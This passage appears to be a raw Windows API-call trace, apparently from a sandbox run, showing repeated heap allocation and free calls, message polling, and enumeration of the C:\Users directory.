lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.506] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.506] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.506] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.506] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.506] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.507] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.507] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.507] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.507] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.507] PathFindFileNameW (pszPath="") returned="" [0112.507] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.507] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.507] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.507] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba7d8 | out: hHeap=0x660000) returned 1 [0112.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba5a8 | out: hHeap=0x660000) returned 1 [0112.507] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5a8 [0112.507] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba5a8 | out: hHeap=0x660000) returned 1 [0112.507] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284a40 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284a88 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284a40 | out: hHeap=0x660000) returned 1 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c5a0 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c5d8 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5a8 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba5a8 | out: hHeap=0x660000) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x498) returned 0x331ec80 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba5a8 [0112.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7d8 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba7b0 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba788 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba760 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba738 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba710 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba6e8 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba6c0 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba350 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3a0 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba530 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba558 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba580 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c048 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c070 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c098 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c0c0 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c0e8 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c110 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c138 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x329c160 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c610 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c648 [0112.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c680 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba648 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba620 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba5f8 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba378 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3c8 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4e0 | out: hHeap=0x660000) returned 1 [0112.509] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba800 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba828 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba850 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba878 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba8a0 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba8c8 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba8f0 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba918 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba940 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba968 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329bff8 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329c020 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba670 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba698 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba508 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2d8 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284a88 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5a0 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e968 | out: hHeap=0x660000) returned 1 [0112.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c5d8 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.510] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0112.510] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.510] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap 